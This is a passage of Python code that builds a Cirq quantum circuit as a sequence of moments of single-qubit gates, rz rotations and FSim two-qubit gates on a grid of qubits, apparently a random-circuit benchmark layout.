cirq.Moment(operations=[ (cirq.X**0.5).on(cirq.GridQubit(0, 5)), (cirq.X**0.5).on(cirq.GridQubit(0, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 4)), (cirq.X**0.5).on(cirq.GridQubit(1, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 4)), (cirq.Y**0.5).on(cirq.GridQubit(2, 5)), (cirq.X**0.5).on(cirq.GridQubit(2, 6)), (cirq.X**0.5).on(cirq.GridQubit(2, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 8)), (cirq.Y**0.5).on(cirq.GridQubit(3, 2)), (cirq.Y**0.5).on(cirq.GridQubit(3, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 5)), (cirq.Y**0.5).on(cirq.GridQubit(3, 6)), (cirq.X**0.5).on(cirq.GridQubit(3, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 8)), (cirq.Y**0.5).on(cirq.GridQubit(4, 1)), (cirq.X**0.5).on(cirq.GridQubit(4, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 6)), (cirq.Y**0.5).on(cirq.GridQubit(4, 7)), (cirq.X**0.5).on(cirq.GridQubit(5, 1)), (cirq.Y**0.5).on(cirq.GridQubit(5, 2)), (cirq.X**0.5).on(cirq.GridQubit(5, 3)), (cirq.X**0.5).on(cirq.GridQubit(5, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 5)), (cirq.X**0.5).on(cirq.GridQubit(5, 6)), (cirq.Y**0.5).on(cirq.GridQubit(5, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 2)), (cirq.Y**0.5).on(cirq.GridQubit(6, 3)), (cirq.X**0.5).on(cirq.GridQubit(6, 4)), (cirq.Y**0.5).on(cirq.GridQubit(6, 5)), (cirq.X**0.5).on(cirq.GridQubit(6, 6)), (cirq.X**0.5).on(cirq.GridQubit(7, 2)), (cirq.X**0.5).on(cirq.GridQubit(7, 3)), (cirq.X**0.5).on(cirq.GridQubit(7, 4)), (cirq.X**0.5).on(cirq.GridQubit(7, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 2.8643854265554056).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * -2.9033805954708463).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -2.3793800740028206).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * 2.142523606048688).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -6.196295096608877).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 6.191833422443152).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -5.367868774756692).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 5.257156584109544).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -1.6118072404137829).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 1.5665192386902935).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -1.5736126437571512).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * 1.5796534031340996).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * -8.599392694559281).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * 8.58638977635296).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -5.408932498710608).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 5.396221422935972).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -3.2786928385561493).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 3.339006443218924).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -5.390755870544794).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 5.4172568990486605).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 4.367652291347506).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -3.9105776028384707).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 3.0814399461790716).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -3.1208364909653903).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * 7.0181466269225865).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -7.000766026200176).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * 5.700873278515409).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -5.683378195921049).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 4.586335789661189).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -4.76537552715921).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * 5.424178494472165).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -5.503525609076518).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.4937034321050129, phi=0.5388459463555662).on( cirq.GridQubit(0, 5), cirq.GridQubit(1, 5)), cirq.FSimGate(theta=1.5015413274420961, phi=0.51076415920643).on( cirq.GridQubit(0, 6), cirq.GridQubit(1, 6)), cirq.FSimGate(theta=1.5588791081427968, phi=0.559649620487243).on( cirq.GridQubit(2, 5), cirq.GridQubit(3, 5)), cirq.FSimGate(theta=1.5907035825834708, phi=0.5678223287662552).on( cirq.GridQubit(2, 6), cirq.GridQubit(3, 6)), cirq.FSimGate(theta=1.5296321276792553, phi=0.537761951313038).on( cirq.GridQubit(2, 7), cirq.GridQubit(3, 7)), cirq.FSimGate(theta=1.619276265426104, phi=0.48310297196088736).on( cirq.GridQubit(2, 8), cirq.GridQubit(3, 8)), cirq.FSimGate(theta=1.6116663075637374, phi=0.5343172366969327).on( cirq.GridQubit(4, 1), cirq.GridQubit(5, 1)), cirq.FSimGate(theta=1.5306030283605572, phi=0.5257102080843467).on( cirq.GridQubit(4, 2), cirq.GridQubit(5, 2)), cirq.FSimGate(theta=1.589821065740506, phi=0.5045391214115686).on( cirq.GridQubit(4, 3), cirq.GridQubit(5, 3)), cirq.FSimGate(theta=1.5472406430590444, phi=0.5216932173558055).on( cirq.GridQubit(4, 4), cirq.GridQubit(5, 4)), cirq.FSimGate(theta=1.5707871303628709, phi=0.5176678491729374).on( cirq.GridQubit(4, 6), cirq.GridQubit(5, 6)), cirq.FSimGate(theta=1.5337916352034444, phi=0.5123546847230711).on( cirq.GridQubit(4, 7), cirq.GridQubit(5, 7)), cirq.FSimGate(theta=1.596346344028619, phi=0.5104319949477776).on( cirq.GridQubit(6, 2), cirq.GridQubit(7, 2)), cirq.FSimGate(theta=1.53597466118183, phi=0.5584919013659856).on( cirq.GridQubit(6, 3), cirq.GridQubit(7, 3)), cirq.FSimGate(theta=1.385350861888917, phi=0.5757363921651084).on( cirq.GridQubit(6, 4), cirq.GridQubit(7, 4)), cirq.FSimGate(theta=1.614843449053755, phi=0.5542252229839564).on( cirq.GridQubit(6, 5), cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -3.72824674565976).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * 3.6892515767443195).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 2.8795906763472114).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * -3.116447144301344).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 6.506615138479995).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -6.511076812645719).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 6.150506057270183).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -6.2612182479173315).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 2.4087294851133443).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -2.4540174868368334).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 2.8100043579049445).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * -2.8039635985279965).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * 9.032480388130898).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * -9.04548330633722).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 4.737705877923889).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -4.750416953698525).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 2.9425087256630427).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -2.882195121000268).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 4.466531408750767).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -4.440030380246901).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -4.89701654221443).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 5.354091230723465).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -3.0747241437239694).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 3.0353275989376507).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * -5.629287261948809).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 5.646667862671219).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * -5.760627714067928).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 5.778122796662288).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -3.985782702743221).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 3.806742965245199).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -5.681609363423969).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 5.602262248819616).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 5)), (cirq.Y**0.5).on(cirq.GridQubit(1, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 4)), (cirq.X**0.5).on(cirq.GridQubit(2, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 8)), (cirq.X**0.5).on(cirq.GridQubit(3, 2)), (cirq.X**0.5).on(cirq.GridQubit(3, 3)), (cirq.X**0.5).on(cirq.GridQubit(3, 5)), (cirq.X**0.5).on(cirq.GridQubit(3, 6)), (cirq.Y**0.5).on(cirq.GridQubit(3, 7)), (cirq.X**0.5).on(cirq.GridQubit(3, 8)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 1)), (cirq.Y**0.5).on(cirq.GridQubit(4, 2)), (cirq.X**0.5).on(cirq.GridQubit(4, 3)), (cirq.Y**0.5).on(cirq.GridQubit(4, 4)), (cirq.Y**0.5).on(cirq.GridQubit(4, 5)), (cirq.Y**0.5).on(cirq.GridQubit(4, 6)), (cirq.X**0.5).on(cirq.GridQubit(4, 7)), (cirq.Y**0.5).on(cirq.GridQubit(5, 1)), (cirq.X**0.5).on(cirq.GridQubit(5, 2)), (cirq.Y**0.5).on(cirq.GridQubit(5, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 4)), (cirq.X**0.5).on(cirq.GridQubit(5, 5)), (cirq.Y**0.5).on(cirq.GridQubit(5, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 7)), (cirq.X**0.5).on(cirq.GridQubit(6, 1)), (cirq.Y**0.5).on(cirq.GridQubit(6, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 4)), (cirq.X**0.5).on(cirq.GridQubit(6, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 6)), (cirq.Y**0.5).on(cirq.GridQubit(7, 2)), (cirq.Y**0.5).on(cirq.GridQubit(7, 3)), (cirq.Y**0.5).on(cirq.GridQubit(7, 4)), (cirq.Y**0.5).on(cirq.GridQubit(7, 5)), (cirq.X**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -9.272134780175643).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * 9.311987288909458).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * -2.4865845873665364).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 2.4890814068883764).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -2.4240781150731663).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 2.419398026235366).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 2.3861256785493166).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * -2.392456163642626).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 10.821685325451792).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * -10.785875071150537).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 12.703597923836748).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * -12.7869629079138).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 3.782562501914174).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -3.873596611893716).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 4.772639843256901).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -4.771314675186062).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 8.49593730829863).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -8.479908941862229).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 1.639481743922408).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -1.9319083897827265).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * 9.60223181672896).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -9.605639326034064).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 6.330499004273446).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -6.2177071019033425).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 9.851852381617888).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -9.926465199012979).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 6.431104618355057).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -6.38660616379351).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -6.763306761471101).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 6.721685791226169).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.5423469235530667, phi=0.5388088498512879).on( cirq.GridQubit(1, 4), cirq.GridQubit(2, 4)), cirq.FSimGate(theta=1.5684106752459124, phi=0.5414007317481024).on( cirq.GridQubit(1, 5), cirq.GridQubit(2, 5)), cirq.FSimGate(theta=1.6152322695478165, phi=0.5160697976136035).on( cirq.GridQubit(1, 6), cirq.GridQubit(2, 6)), cirq.FSimGate(theta=1.5040835324508275, phi=0.6761565725975858).on( cirq.GridQubit(1, 7), cirq.GridQubit(2, 7)), cirq.FSimGate(theta=1.5144175462386844, phi=0.4680444728781228).on( cirq.GridQubit(3, 2), cirq.GridQubit(4, 2)), cirq.FSimGate(theta=1.4668587973263782, phi=0.4976074601121169).on( cirq.GridQubit(3, 3), cirq.GridQubit(4, 3)), cirq.FSimGate(theta=1.603651215218248, phi=0.46649538437100246).on( cirq.GridQubit(3, 5), cirq.GridQubit(4, 5)), cirq.FSimGate(theta=1.6160334279232749, phi=0.4353897326147861).on( cirq.GridQubit(3, 6), cirq.GridQubit(4, 6)), cirq.FSimGate(theta=1.5909523830878005, phi=0.5244700889486827).on( cirq.GridQubit(3, 7), cirq.GridQubit(4, 7)), cirq.FSimGate(theta=1.2635580943707443, phi=0.3315124918059815).on( cirq.GridQubit(5, 1), cirq.GridQubit(6, 1)), cirq.FSimGate(theta=1.5245711693927642, phi=0.4838906581970925).on( cirq.GridQubit(5, 2), cirq.GridQubit(6, 2)), cirq.FSimGate(theta=1.5542388360689805, phi=0.5186534637665338).on( cirq.GridQubit(5, 3), cirq.GridQubit(6, 3)), cirq.FSimGate(theta=1.5109427139358562, phi=0.4939388316289224).on( cirq.GridQubit(5, 4), cirq.GridQubit(6, 4)), cirq.FSimGate(theta=1.57896484905089, phi=0.5081656554152614).on( cirq.GridQubit(5, 5), cirq.GridQubit(6, 5)), cirq.FSimGate(theta=1.501781688539034, phi=0.46799927805932284).on( cirq.GridQubit(7, 3), cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 9.460207801277338).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * -9.420355292543523).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * 2.557874433792943).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -2.555377614271102).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 1.9789952328325573).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -1.9836753216703575).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -2.805807436079691).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * 2.7994769509863815).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -9.972491731044423).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * 10.00830198534568).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -12.477250219528523).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 12.39388523545147).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -5.4898636407973544).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 5.398829530817813).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -5.863871460773714).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 5.8651966288445525).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -8.850693052252502).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 8.866721418688904).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -2.40381552479658).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 2.1113888789362614).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * -10.03456101076628).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 10.031153501461176).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -5.434421382024706).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 5.54721328439481).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -9.17988634353845).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 9.10527352614336).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -6.5670035038476025).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 6.61150195840915).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 7.956630846615096).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -7.998251816860028).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ (cirq.X**0.5).on(cirq.GridQubit(0, 5)), (cirq.X**0.5).on(cirq.GridQubit(0, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 4)), (cirq.Y**0.5).on(cirq.GridQubit(1, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 5)), (cirq.Y**0.5).on(cirq.GridQubit(2, 6)), (cirq.X**0.5).on(cirq.GridQubit(2, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 8)), (cirq.Y**0.5).on(cirq.GridQubit(3, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 3)), (cirq.Y**0.5).on(cirq.GridQubit(3, 5)), (cirq.Y**0.5).on(cirq.GridQubit(3, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 7)), (cirq.Y**0.5).on(cirq.GridQubit(3, 8)), (cirq.Y**0.5).on(cirq.GridQubit(4, 1)), (cirq.X**0.5).on(cirq.GridQubit(4, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 4)), (cirq.X**0.5).on(cirq.GridQubit(4, 5)), (cirq.X**0.5).on(cirq.GridQubit(4, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 1)), (cirq.Y**0.5).on(cirq.GridQubit(5, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 3)), (cirq.Y**0.5).on(cirq.GridQubit(5, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 5)), (cirq.X**0.5).on(cirq.GridQubit(5, 6)), (cirq.X**0.5).on(cirq.GridQubit(5, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 1)), (cirq.X**0.5).on(cirq.GridQubit(6, 2)), (cirq.Y**0.5).on(cirq.GridQubit(6, 3)), (cirq.Y**0.5).on(cirq.GridQubit(6, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 5)), (cirq.Y**0.5).on(cirq.GridQubit(6, 6)), (cirq.X**0.5).on(cirq.GridQubit(7, 2)), (cirq.X**0.5).on(cirq.GridQubit(7, 3)), (cirq.X**0.5).on(cirq.GridQubit(7, 4)), (cirq.X**0.5).on(cirq.GridQubit(7, 5)), (cirq.Y**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -4.192816222527567).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * 4.096517331211689).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -13.031870303178678).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 12.995691840749963).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * 5.381139169744492).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * -5.426527436528915).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -6.86899750135751).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 6.428483778485565).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -8.1318841157307).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * 8.169013023671415).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * -0.7176740888019262).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 0.7099714261238419).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -4.694750980814187).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 4.664493259768636).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 3.5368943862129347).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -3.523381665113022).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -1.113423877718808).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 1.1694659583609144).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -3.587134633961795).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 3.6604070451845887).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 1.3734003009778666).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -1.2391730694242633).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * -5.2921262439699195).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 5.250682918720053).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -6.349327548997941).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 6.3741432050833).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -7.486795435376533).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * 7.578281937389579).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -3.5483605148308843).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * 3.464241645468862).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.545844435173598, phi=0.5163254336997252).on( cirq.GridQubit(1, 4), cirq.GridQubit(1, 5)), cirq.FSimGate(theta=1.5033136051987404, phi=0.5501439149572028).on( cirq.GridQubit(1, 6), cirq.GridQubit(1, 7)), cirq.FSimGate(theta=1.5930079664614663, phi=0.5355369376884288).on( cirq.GridQubit(2, 4), cirq.GridQubit(2, 5)), cirq.FSimGate(theta=1.59182423935832, phi=-5.773664463980115).on( cirq.GridQubit(2, 6), cirq.GridQubit(2, 7)), cirq.FSimGate(theta=1.5886126292316385, phi=0.4838919055156303).on( cirq.GridQubit(3, 2), cirq.GridQubit(3, 3)), cirq.FSimGate(theta=1.5286450573669954, phi=0.5113953905811602).on( cirq.GridQubit(3, 6), cirq.GridQubit(3, 7)), cirq.FSimGate(theta=1.565622495548066, phi=0.5127256481964074).on( cirq.GridQubit(4, 2), cirq.GridQubit(4, 3)), cirq.FSimGate(theta=1.5384796865621224, phi=0.5293381306162406).on( cirq.GridQubit(4, 6), cirq.GridQubit(4, 7)), cirq.FSimGate(theta=1.4727562833004122, phi=0.4552443293379814).on( cirq.GridQubit(5, 2), cirq.GridQubit(5, 3)), cirq.FSimGate(theta=1.5346175385256955, phi=0.5131039467233695).on( cirq.GridQubit(5, 4), cirq.GridQubit(5, 5)), cirq.FSimGate(theta=1.558221035096814, phi=0.4293113178636455).on( cirq.GridQubit(5, 6), cirq.GridQubit(5, 7)), cirq.FSimGate(theta=1.5169062231051558, phi=0.46319906116805815).on( cirq.GridQubit(6, 2), cirq.GridQubit(6, 3)), cirq.FSimGate(theta=1.5705414623224259, phi=0.4791699064049766).on( cirq.GridQubit(6, 4), cirq.GridQubit(6, 5)), cirq.FSimGate(theta=1.5516764540193888, phi=0.505545707839895).on( cirq.GridQubit(7, 2), cirq.GridQubit(7, 3)), cirq.FSimGate(theta=1.5699606675525557, phi=0.48292170263262457).on( cirq.GridQubit(7, 4), cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 5.1050424650348445).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * -5.201341356350722).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 12.332310550447476).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -12.36848901287619).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * -4.910070555108823).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * 4.864682288324399).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 7.534356038389369).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -7.974869761261314).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 7.00341426989382).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * -6.966285361953106).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 1.3199079899133674).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -1.3276106525914517).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 4.932337110122265).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -4.9625948311678165).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -5.325823706765988).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 5.3393364278658995).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 1.682829500938578).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -1.6267874202964716).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 3.305341949396799).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -3.232069538174005).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -1.5571453827247277).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 1.691372614278331).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * 5.3550627118441145).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -5.39650603709398).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 8.163182357684818).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -8.138366701599459).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 7.345311792027093).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * -7.253825290014047).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 4.260694186099879).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -4.344813055461901).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ 